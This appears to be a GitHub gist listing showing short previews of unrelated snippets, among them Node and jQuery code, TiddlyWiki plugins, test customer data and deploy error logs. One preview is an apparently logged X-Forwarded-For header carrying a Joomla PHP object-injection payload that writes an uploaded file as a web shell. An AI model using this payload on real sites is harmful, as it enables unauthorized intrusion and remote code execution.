This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fs = require('fs'), | |
xml2js = require('xml2js'); | |
var parser = new xml2js.Parser(); | |
fs.readFile(__dirname + '/company.xml', function(err, data) { | |
parser.parseString(data, function (err, result) { | |
var team = result.company['team-members'][0]['team-member']; | |
var lines = []; | |
team.forEach(member => { | |
// create a line for each review, with the email as the first column |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*\ | |
title: $:/plugins/jayfresh/tiddler-server/tiddler-server.js | |
type: application/javascript | |
module-type: command | |
A server command to serve tiddlers as HTML as well as the main server API | |
\*/ | |
(function(){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"x-forwarded-for": "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:137:\"print copy($_FILES[file][tmp_name],dirname(JFactory::getConfig()->get(base64_decode(bG9nX3BhdGg))).base64_decode(L3RtcC9zZngucGhw));exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}ðýýý, 83.143.240.37" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// app.js | |
$(document).ready(function() { | |
phoneCollector.getBackups(function(backupOptions) { | |
backupOptions.forEach(...); | |
}); | |
}); | |
$('button#go').click(function(){ | |
phoneCollector.convertBackupToPIO(this.value, function() { | |
alert('done!'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var i = 1; | |
(function() { | |
var privateVar = i; | |
asyncFunc(variable, function() { | |
// all yo' callback stuff here | |
console.log(privateVar); | |
}); | |
})(); // execute function immediately |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"customer": { | |
"firstName": "Test", | |
"middleName": "Robert", | |
"surname": "Customer", | |
"title": "Mr", | |
"houseNameNumber": "38", | |
"street": "Test Street", | |
"town": "BigTown", | |
"locality": "BigCity", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*** | |
|''Name''|TiddlySpaceBackstage| | |
|''Version''|0.8.0| | |
|''Description''|Provides a TiddlySpace version of the backstage and a homeLink macro| | |
|''Status''|@@beta@@| | |
|''Contributors''|Jon Lister, Jon Robson, Colm Britton| | |
|''Source''|http://github.com/TiddlySpace/tiddlyspace/raw/master/src/plugins/TiddlySpaceBackstage.js| | |
|''Requires''|TiddlySpaceConfig ImageMacroPlugin TiddlySpaceViewTypes| | |
!StyleSheet | |
.tiddler .error.annotation .button{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
jquery.youtubeUploadsAndFavorites.js | |
Gets the uploads and favorites for a YouTube username | |
- removes duplicates | |
- orders in reverse chronological order | |
- retries the last 20 of each feed | |
usage: $(selector).youtubeUploadsAndFavorites(); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
prompt: Is this ok?: (yes) | |
info: Creating snapshot 0.0.0-3 | |
info Uploading: [=============================] 99% | |
info: Updating app nodejs | |
info: Activating snapshot 0.0.0-3 for nodejs | |
info: Starting app nodejs | |
error: Error running command deploy | |
error: Nodejitsu Error (500): Internal Server Error | |
error: | |
error: There was an error while attempting to start the app |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
error: Error running command deploy | |
error: Nodejitsu Error (500): Internal Server Error | |
error: | |
error: There was an error while attempting to start the app | |
error: Error spawning drone | |
error: Script prematurely exited | |
error: | |
error: This type of error is usually a user error. | |
error: Error output from app: | |
error: |
NewerOlder